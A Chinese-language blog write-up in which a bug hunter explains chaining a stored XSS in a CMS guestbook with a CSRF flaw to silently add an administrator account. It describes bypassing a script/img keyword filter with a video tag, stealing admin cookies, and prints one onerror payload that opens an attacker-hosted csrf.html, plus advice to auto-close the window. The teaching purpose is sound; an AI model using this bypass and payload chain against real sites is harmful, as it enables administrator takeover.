这篇博文来自之前挖掘一套CMS漏洞时,同时挖出了xss和csrf漏洞。不过我提交漏洞后,xss漏洞被接受了,而csrf漏洞被退回了,理由是:利用难度太大,不予收录。可以想象当时我的心情是十分不爽的,所以我绞尽脑汁,将xss和csrf配合使用,向某机构证明是可以利用的,而且很方便。最后漏洞被收录吗?嘿嘿,你们自己猜吧,不过这次经历说明了当xss配合csrf打出组合拳时,会有意想不到的效果。
寻找XSS漏洞
拿到CMS,第一件事先去看它有没有留言功能,因为留言功能一般是会传到后台给管理员看的,所以如果有留言功能就可能存在XSS漏洞。我很快找到这套CMS的留言框,迫不及待地打了一个XSS尝试:
请求直接被拦截了,很明显是有过滤机制的,去查看了一下他们的防护措施:
在上面我用红框标注的是针对xss的过滤,正则匹配关键字:script,img,还有几个弹框函数。这里我想说一下,一些小白挖xss的洞,script一下失败,然后换成img一下也失败,然后就放弃了。其实可以插xss的标签远不止这两个,比如我用video标签来绕过这次xss过滤:
当管理员在后台查看留言时,就会触发xss代码,cookie被传到我的xss平台上:
寻找CSRF漏洞
CSRF漏洞一般是由于没有检查Referer以及未在头部设置token造成的。
CSRF的漏洞的寻找相对简单,我截获了请求包,发现没有token来对csrf攻击进行防护,于是尝试删除csrf中的Referer字段,发现并不影响功能,比如增加管理员。所以判断这套CMS是存在csrf漏洞的,于是在另一台服务器上构造了利用代码:
当管理员访问我服务器上的网页时,他就会中招:看到一个空白页面,但是本地网站后台增加了一个管理员。
XSS配合CSRF打出组合拳
我们思考一个问题,存储型xss可以打到管理员的cookie,但是如果cookie保存时间很短,我们用的时候已经失效了,那也就没什么用了。再考虑一下csrf,实现csrf攻击有一个大前提,就是让管理员去访问你的服务器。
一般来说,我们需要诱导管理员去访问你服务器上构造的csrf代码,比如留言诱导,客服诱导等等。但如果管理员就是不点击你的链接,不去访问你的服csrf代码,那你真是一点办法的没有。这也是为什么人家漏洞机构不收csrf漏洞的主要原因。
我们思考为什么存储型xss漏洞的成功率比csrf高,因为xss代码是存储在数据库中,每次都会在后台自动调取,所以管理员一查看后台就中招了。查看自己网站的留言和访问外部服务器,很明显管理员更容易选择相信前者,所以相对而言存储型xss攻击的成功率更高。
接下来,我们将挖到的xss漏洞和csrf配合使用,吸取他们的优点,打出组合拳。首先,我们在留言处构造xss代码:
<video src="x" onerror=javascript:window.open("http://localhost:8000/csrf.html")></video>
这段js代码执行后,会直接在浏览器中打开一个新的窗口,且去访问我们制定的外部服务器上的csrf代码。
当管理员查看留言时,直接触发js代码,弹出一个新的窗口:
管理员可能会觉得莫名其妙,并关闭这个窗口,然而他并不知道我们已经借用他的权限执行了csrf代码,在他的后台增加了一个管理员账户:
当然,更好做的做法是构造js代码让这个新打开的窗口完成工作后自动关闭,这样管理员起疑心的可能性还会降低。
这样一来,我们成功利用xss+csrf在网站后台增加了一个管理员,弥补了xss攻击中cookie失效的问题,也弥补了csrf利用难度大的问题(难度相当于xss)。
总结
这两个漏洞相对还是比较简单的,所以我拿出来作为讲解xss和csrf组合利用的案例,希望各位小白能从中学到知识。